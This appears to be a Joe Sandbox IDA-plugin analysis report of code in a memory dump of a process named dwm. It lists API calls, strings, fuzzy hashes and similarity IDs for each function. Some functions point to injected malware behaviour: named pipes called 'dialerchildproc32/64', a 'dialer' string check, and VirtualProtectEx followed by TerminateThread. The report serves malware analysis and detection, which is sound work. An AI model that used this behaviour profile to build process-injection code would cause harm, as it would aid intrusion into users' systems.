Instruction ID: 3ccf6e0709a1f3939a3e4219f7cf81b36719bbc4f8e4627ee42f2d96a96075ef
Opcode Fuzzy Hash: 3a29360f60df60adecaf4649f79764fa540e3f9fdfe76bc69ae0b48c7fce8efe
Instruction Fuzzy Hash: BE41506034324441FA69A73595DE36D33B69F857B4F340B2AA9BEC66E7DF289401C233

Function 000002BAAEDD2244 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 52filethreadCOMMON

Download Yara Rule

APIs

GetProcessIdOfThread.KERNEL32 ref: 000002BAAEDD2259
GetCurrentProcessId.KERNEL32 ref: 000002BAAEDD2263

Part of subcall function 000002BAAEDD1934: OpenProcess.KERNEL32 ref: 000002BAAEDD1952
Part of subcall function 000002BAAEDD1934: IsWow64Process.KERNEL32 ref: 000002BAAEDD1968
Part of subcall function 000002BAAEDD1934: CloseHandle.KERNEL32 ref: 000002BAAEDD1983

CreateFileW.KERNEL32 ref: 000002BAAEDD22BC
WriteFile.KERNEL32 ref: 000002BAAEDD22E4
ReadFile.KERNEL32 ref: 000002BAAEDD2303
CloseHandle.KERNEL32 ref: 000002BAAEDD230C

Strings

\\.\pipe\dialerchildproc64, xrefs: 000002BAAEDD228C
\\.\pipe\dialerchildproc32, xrefs: 000002BAAEDD2293

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Process$File$CloseHandle$CreateCurrentOpenReadThreadWow64Write
String ID: \\.\pipe\dialerchildproc32$\\.\pipe\dialerchildproc64
API String ID: 2171963597-1373409510
Opcode ID: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction ID: 4a7d29512c951e66723afc66f0934404ee38fd8be82791d03fa9e4942a9561b4
Opcode Fuzzy Hash: d76f145db3bc14c8b60d6abb5b011cd5988a1ad04fc2d4b7169b2a78ec3c4c79
Instruction Fuzzy Hash: 6B213832614B50C2EB10CB25E44C36A73B0F789BA4F600215EAAD42AA8CF3CC549CB12

Function 000002BAAEDDA544 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAEDDA5A1

Part of subcall function 000002BAAEDDB414: __GetUnwindTryBlock.LIBCMT ref: 000002BAAEDDB457
Part of subcall function 000002BAAEDDB414: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAEDDB47C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAEDDA679
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAEDDA8CE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAEDDA9DA

Strings

csm, xrefs: 000002BAAEDDA622
csm, xrefs: 000002BAAEDDA5BB
csm, xrefs: 000002BAAEDDA69C

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction ID: 97ac89eda0f4d41870f5a33cb62d4cc70552d40d9aacd6e715e466f0260c4aa3
Opcode Fuzzy Hash: 186f03c70d0fb8979f980bfcf85fe288d7737d97a0f3839797273e271350e365
Instruction Fuzzy Hash: DBE18D72606B808AEB20DF65D4C839D77B0F745B98F644116EECD9BB99DB38C091C722

Function 000002BAAEDA9944 Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 317COMMON

Download Yara Rule

APIs

__FrameHandler3::GetHandlerSearchState.LIBVCRUNTIME ref: 000002BAAEDA99A1

Part of subcall function 000002BAAEDAA814: __GetUnwindTryBlock.LIBCMT ref: 000002BAAEDAA857
Part of subcall function 000002BAAEDAA814: __SetUnwindTryBlock.LIBVCRUNTIME ref: 000002BAAEDAA87C

Is_bad_exception_allowed.LIBVCRUNTIME ref: 000002BAAEDA9A79
__FrameHandler3::ExecutionInCatch.LIBVCRUNTIME ref: 000002BAAEDA9CCE
std::bad_alloc::bad_alloc.LIBCMT ref: 000002BAAEDA9DDA

Strings

csm, xrefs: 000002BAAEDA9A22
csm, xrefs: 000002BAAEDA99BB
csm, xrefs: 000002BAAEDA9A9C

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: BlockFrameHandler3::Unwind$CatchExecutionHandlerIs_bad_exception_allowedSearchStatestd::bad_alloc::bad_alloc
String ID: csm$csm$csm
API String ID: 849930591-393685449
Opcode ID: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction ID: 11837b641cf7fbaa2370180d18065cadece89f3cd28ec07f1272569ac3389919
Opcode Fuzzy Hash: 65b39982983e806640910362ba4e105e6dc551b6220b15538d356c191c28ac3a
Instruction Fuzzy Hash: 07E1C072604B808AEB60DF75E48839D77B0F755B88F205516EECD57B9ACB34C2A1C722

Function 000002BAAEDDF394 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117libraryloaderCOMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32 ref: 000002BAAEDDF510
GetProcAddress.KERNEL32 ref: 000002BAAEDDF51C

Strings

ext-ms-, xrefs: 000002BAAEDDF46D
api-ms-, xrefs: 000002BAAEDDF45A

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: AddressFreeLibraryProc
String ID: api-ms-$ext-ms-
API String ID: 3013587201-537541572
Opcode ID: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction ID: b938e6fe1cc072fc95406c62684ee8ed2aac938f0b4d8fdcfb3a9e21255bc808
Opcode Fuzzy Hash: 978905767b5078ec9de210cf927baa423a0e9cdb829b06631a7440d3a6c0e710
Instruction Fuzzy Hash: 9841D422312A1095FB26CB56A84C75973B1FB45BE0F69412A9D9EC7785EF38C445C322

Function 000002BAAEDD104C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 99memoryregistryCOMMON

Download Yara Rule

APIs

RegQueryInfoKeyW.ADVAPI32 ref: 000002BAAEDD10B1
RegEnumValueW.ADVAPI32 ref: 000002BAAEDD1117
GetProcessHeap.KERNEL32 ref: 000002BAAEDD115A
HeapAlloc.KERNEL32 ref: 000002BAAEDD1168
GetProcessHeap.KERNEL32 ref: 000002BAAEDD1185
HeapFree.KERNEL32 ref: 000002BAAEDD1193

Strings

d, xrefs: 000002BAAEDD10D6

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocEnumFreeInfoQueryValue
String ID: d
API String ID: 3743429067-2564639436
Opcode ID: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction ID: 4527fdb878b39ff380404acb4f6d429ea2867cef135adaec55ed8b87c47ffa2b
Opcode Fuzzy Hash: 4e806da6bf888755fbf7915dbe23be07e0600cef0dd9ac19d63751155720d402
Instruction Fuzzy Hash: A8415E33214B84CAE760CF21E44879E77B1F389B98F548129DB8947B98DF38C949CB51

Function 000002BAAEDDD068 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 54COMMONLIBRARYCODE

Download Yara Rule

APIs

FlsGetValue.KERNEL32(?,?,?,000002BAAEDDC7DE,?,?,?,?,?,?,?,?,000002BAAEDDCF9D,?,?,00000001), ref: 000002BAAEDDD087
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDC7DE,?,?,?,?,?,?,?,?,000002BAAEDDCF9D,?,?,00000001), ref: 000002BAAEDDD0A6
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDC7DE,?,?,?,?,?,?,?,?,000002BAAEDDCF9D,?,?,00000001), ref: 000002BAAEDDD0CE
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDC7DE,?,?,?,?,?,?,?,?,000002BAAEDDCF9D,?,?,00000001), ref: 000002BAAEDDD0DF
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDC7DE,?,?,?,?,?,?,?,?,000002BAAEDDCF9D,?,?,00000001), ref: 000002BAAEDDD0F0

Strings

1%, xrefs: 000002BAAEDDD0CE
Y%, xrefs: 000002BAAEDDD0A6

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Value
String ID: 1%$Y%
API String ID: 3702945584-1395475152
Opcode ID: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction ID: 8738ab28fb5bdfcabc29799e35b15569d293cbe38d2e5c86f3bf490c726a38e2
Opcode Fuzzy Hash: eaed261e9eff258ccad1ac5f7a99306e4284ed666e6615725d2dc279c7a103a4
Instruction Fuzzy Hash: F511862070664441FE68A73599DE37973759B847F4F344726A8BDC7BDADF28C402C222

Function 000002BAAEDD7510 Relevance: 12.2, APIs: 8, Instructions: 230COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 000002BAAEDD7538
__scrt_acquire_startup_lock.LIBCMT ref: 000002BAAEDD758A
_RTC_Initialize.LIBCMT ref: 000002BAAEDD75B8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 000002BAAEDD75DE
__scrt_release_startup_lock.LIBCMT ref: 000002BAAEDD7609

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction ID: 60be5a92bc921edaab18ab041d9036f64156e0403c08bb193f70be9b86acb5b5
Opcode Fuzzy Hash: 0257f947f8d22f27d89668d16c5c48cc6f3519c7a2ac610662f1932688afbc32
Instruction Fuzzy Hash: BC81A13170274186FB90AB6598CD39977B0AB85780F7444ABAACCC7796EB78C845C733

Function 000002BAAEDD9DC4 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32 ref: 000002BAAEDD9E49
GetLastError.KERNEL32 ref: 000002BAAEDD9E57
LoadLibraryExW.KERNEL32 ref: 000002BAAEDD9E81
FreeLibrary.KERNEL32 ref: 000002BAAEDD9EC7
GetProcAddress.KERNEL32 ref: 000002BAAEDD9ED3

Strings

api-ms-, xrefs: 000002BAAEDD9E69

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction ID: 2d271a109812e0cd02219ba0ff81bd7c3f94366d3a7574814ab6b3bb59a8bf06
Opcode Fuzzy Hash: 57a387126f3cdca2e6377dd9e1e04e2dfecb224b041c0cba2ac35bf939624b8e
Instruction Fuzzy Hash: 1031EC31313A40E1EE12DB42A48876D73B8B748BA0F7986269DAD87394EF79C445C322

Function 000002BAAEDE3DB4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 000002BAAEDE3DE5
GetLastError.KERNEL32 ref: 000002BAAEDE3DF1
CloseHandle.KERNEL32 ref: 000002BAAEDE3E09
CreateFileW.KERNEL32 ref: 000002BAAEDE3E34
WriteConsoleW.KERNEL32 ref: 000002BAAEDE3E53

Strings

CONOUT$, xrefs: 000002BAAEDE3E15

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction ID: 9e84c8d17c864833b5968fc1c0d30da6046e49fe5ea337412b2877d9e4a2ddc4
Opcode Fuzzy Hash: ea8503a65e9befc0d33d9332805196394b6329e0df61646a9863ad39bb9ae76f
Instruction Fuzzy Hash: 2B114F31310B8086E7508B56E85C32977B0F798FE4F284229EAAE87795DF78C914C755

Function 000002BAAEDD2F04 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 93memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 000002BAAEDD2F27
HeapAlloc.KERNEL32 ref: 000002BAAEDD2F3A
StrCmpNIW.SHLWAPI ref: 000002BAAEDD2FAF
GetProcessHeap.KERNEL32 ref: 000002BAAEDD3015
HeapFree.KERNEL32 ref: 000002BAAEDD3023

Strings

dialer, xrefs: 000002BAAEDD2FA8

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: dialer
API String ID: 756756679-3528709123
Opcode ID: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction ID: 7368c5627511974ce6c592d6ec5820cddadcff3283f4e7b6d8f0385999321441
Opcode Fuzzy Hash: 2e24de9146afbba5105044d4fd5602f1f9f0ed558a5ed62472976580c3eaf0ad
Instruction Fuzzy Hash: AC31B022702B5582EA55CF2BE98872A77B0FB45B84F188426DFCC87B55EF34D4A5C321

Function 000002BAAEDDCFA0 Relevance: 9.1, APIs: 6, Instructions: 57COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 000002BAAEDDCFAF
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDD6B5,?,?,?,?,000002BAAEDDD778), ref: 000002BAAEDDCFE5
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDD6B5,?,?,?,?,000002BAAEDDD778), ref: 000002BAAEDDD012
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDD6B5,?,?,?,?,000002BAAEDDD778), ref: 000002BAAEDDD023
FlsSetValue.KERNEL32(?,?,?,000002BAAEDDD6B5,?,?,?,?,000002BAAEDDD778), ref: 000002BAAEDDD034
SetLastError.KERNEL32 ref: 000002BAAEDDD04F

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: Value$ErrorLast
String ID:
API String ID: 2506987500-0
Opcode ID: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction ID: 07ec1c9d1847f78c436bd1e51b5a4b5dbec743dc23c813cca6f91c12d18d38dd
Opcode Fuzzy Hash: 4f148fb448054b99fdb5313590ff83f86fc6d8762bc770a772f95ba4b575ef67
Instruction Fuzzy Hash: 78116D2034324441FA64A731958D3793376AB857B4F344726A8BEC7ADADF288401C222

Function 000002BAAEDD199C Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 000002BAAEDD19C2
K32GetModuleFileNameExW.KERNEL32 ref: 000002BAAEDD19E0
PathFindFileNameW.SHLWAPI ref: 000002BAAEDD19EF
lstrlenW.KERNEL32 ref: 000002BAAEDD19FB
StrCpyW.SHLWAPI ref: 000002BAAEDD1A0E
CloseHandle.KERNEL32 ref: 000002BAAEDD1A1C

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction ID: 60aed782dadc5b069dc523a86edc7bc59bb0d2b8ec44f9c444b0f7433aa82fc4
Opcode Fuzzy Hash: 01214db588610ff501214a343c1506f8e4016efad0e64bbd234dc336c45f59d3
Instruction Fuzzy Hash: D1012931301A4086EB64DB52A89C79973B5F788BC4FA84039DE9D83795DF3CC98AC761

Function 000002BAAEDD36C8 Relevance: 9.0, APIs: 6, Instructions: 38threadCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32 ref: 000002BAAEDD36E4
GetCurrentProcess.KERNEL32 ref: 000002BAAEDD36F2
VirtualProtectEx.KERNEL32 ref: 000002BAAEDD3714
GetCurrentProcess.KERNEL32 ref: 000002BAAEDD3732
VirtualProtectEx.KERNEL32 ref: 000002BAAEDD3753
TerminateThread.KERNEL32 ref: 000002BAAEDD3762

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModuleTerminateThread
String ID:
API String ID: 449555515-0
Opcode ID: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction ID: 3623f577a31040c1b0a34627801640556248e395640c6454553d30a511ec9258
Opcode Fuzzy Hash: 4c9ec6165d8c5af47ee19c29b3e549fd6cc17b885c385019f049dc0dac4977bc
Instruction Fuzzy Hash: 9F012575212B40C6FB259B26E84C32A73B0BB49B96F240529CE9D477A4EF3DC108C722

Function 000002BAAEDD8FE8 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 144COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 000002BAAEDD9013
_IsNonwritableInCurrentImage.LIBCMT ref: 000002BAAEDD90A8
RtlUnwindEx.NTDLL ref: 000002BAAEDD90F7

Strings

f, xrefs: 000002BAAEDD9026
csm, xrefs: 000002BAAEDD908E

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentImageNonwritableUnwind__except_validate_context_record
String ID: csm$f
API String ID: 2395640692-629598281
Opcode ID: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction ID: ddaf4283981553235795f0f3119c416fd114a24513d0605ace810c1593ce84f8
Opcode Fuzzy Hash: 255e8a15c903f04b3fededc0bb6945c1536f1eb34c4f108c78a5ad073a1a53ec
Instruction Fuzzy Hash: FF51D53270260186EB14DF15E88CB5937B5F344B98F318526DE9E87788FBB6D841C712

Function 000002BAAEDD1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 000002BAAEDD1A60
StrCmpNIW.SHLWAPI ref: 000002BAAEDD1A7A
lstrlenW.KERNEL32 ref: 000002BAAEDD1A89
StrCpyW.SHLWAPI ref: 000002BAAEDD1A9E

Strings

\\?\, xrefs: 000002BAAEDD1A6E

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: de20ce3cd4269529b5a8fbe233b4131778806e9920b9a6e7b4448e4c8b6f41f8
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: D6F04F3270464192EB708F61F8CC7997770F748B98FA45025DA9D86958DF3CC68ECB21

Function 000002BAAEDD3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 000002BAAEDD3066
StrCpyW.SHLWAPI ref: 000002BAAEDD3076
StrCatW.SHLWAPI ref: 000002BAAEDD3082
PathCombineW.SHLWAPI ref: 000002BAAEDD3090

Strings

\\.\pipe\, xrefs: 000002BAAEDD305C

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: dc76776314a8e22c4474720335cb6eca2776261ca974506b193fac0230483d13
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: 0CF08C20304B8482EA108F13B94C1297370AB48FD0F288131EEAE47B28DF3CC445C761

Function 000002BAAEDDBC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 000002BAAEDDBCBD
GetProcAddress.KERNEL32 ref: 000002BAAEDDBCD3
FreeLibrary.KERNEL32 ref: 000002BAAEDDBCFA

Strings

mscoree.dll, xrefs: 000002BAAEDDBCB4
CorExitProcess, xrefs: 000002BAAEDDBCCC

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: 7022d84dda8cd09d996234868e4ce30479781044a66201d75e796aa32b4d8878
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: 4FF01D71212A0581FB548B28E88C3697370FB89BA5F64021ADAFE466E8DF2DC549C761

Function 000002BAAEDD5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 000002BAAEDD5726

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction ID: 8aa8bf06385a60f95723af8eec33f5ea12401e3ba5ed0859515c4ce2863a2411
Opcode Fuzzy Hash: 0c7f3a11ae4e5ff47235e902b7b6ce7055ed727b420134bb2449cab27e882fd8
Instruction Fuzzy Hash: 8E61C83651AB84C7E760DB15E48831AB7B0F388794F20051AEACE87BA9DB7CC455CF12

Function 000002BAAEDE4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAEDE412C
_set_statfp.LIBCMT ref: 000002BAAEDE4147
_set_statfp.LIBCMT ref: 000002BAAEDE4163
_set_statfp.LIBCMT ref: 000002BAAEDE419F

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 034df8697fa57311cb0a6a49312b8a6844e159fb7dde321fe08df6a19dfe2330
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 4D11C632A10F5019FEA41668D45D3653B716BBC3F8F784624A9FE4B6D6CB28C841D272

Function 000002BAAEDB3504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 000002BAAEDB352C
_set_statfp.LIBCMT ref: 000002BAAEDB3547
_set_statfp.LIBCMT ref: 000002BAAEDB3563
_set_statfp.LIBCMT ref: 000002BAAEDB359F

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: daee234d867c3cea5329f9ec92d076a12b924df16710a29a150e91ede34f0bc3
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 8911A762610A5152FA541568E45D36A33E0EB58374FB84638A9EE062D7FBE4C845F132

Function 000002BAAEDAF040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000002BAAEDAF124

Strings

Wednesday, xrefs: 000002BAAEDAF1ED
or copy constructor iterator', xrefs: 000002BAAEDAF25A, 000002BAAEDAF275
Tuesday, xrefs: 000002BAAEDAF0F4

Memory Dump Source

Source File: 00000021.00000002.3146137933.000002BAAEDA0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDA0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaeda0000_dwm.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 97fb1626824143654bbe779d900eb1f5637e1533d1f2395c6091a79e8529f199
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 2B61E53260264042FA659B69E58C36A7BB2F781780F704565CADE177E4DB38CB62C333

Function 000002BAAEDDAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 000002BAAEDDAA68
_CallSETranslator.LIBVCRUNTIME ref: 000002BAAEDDAAB7

Strings

RCC, xrefs: 000002BAAEDDAA85
MOC, xrefs: 000002BAAEDDAA7C

Memory Dump Source

Source File: 00000021.00000002.3146221400.000002BAAEDD0000.00000040.00000001.00020000.00000000.sdmp, Offset: 000002BAAEDD0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_33_2_2baaedd0000_dwm.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 0cea8055bac7da24aecb85595c29d01d0b83c433e5f61b29988206598d57853e
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
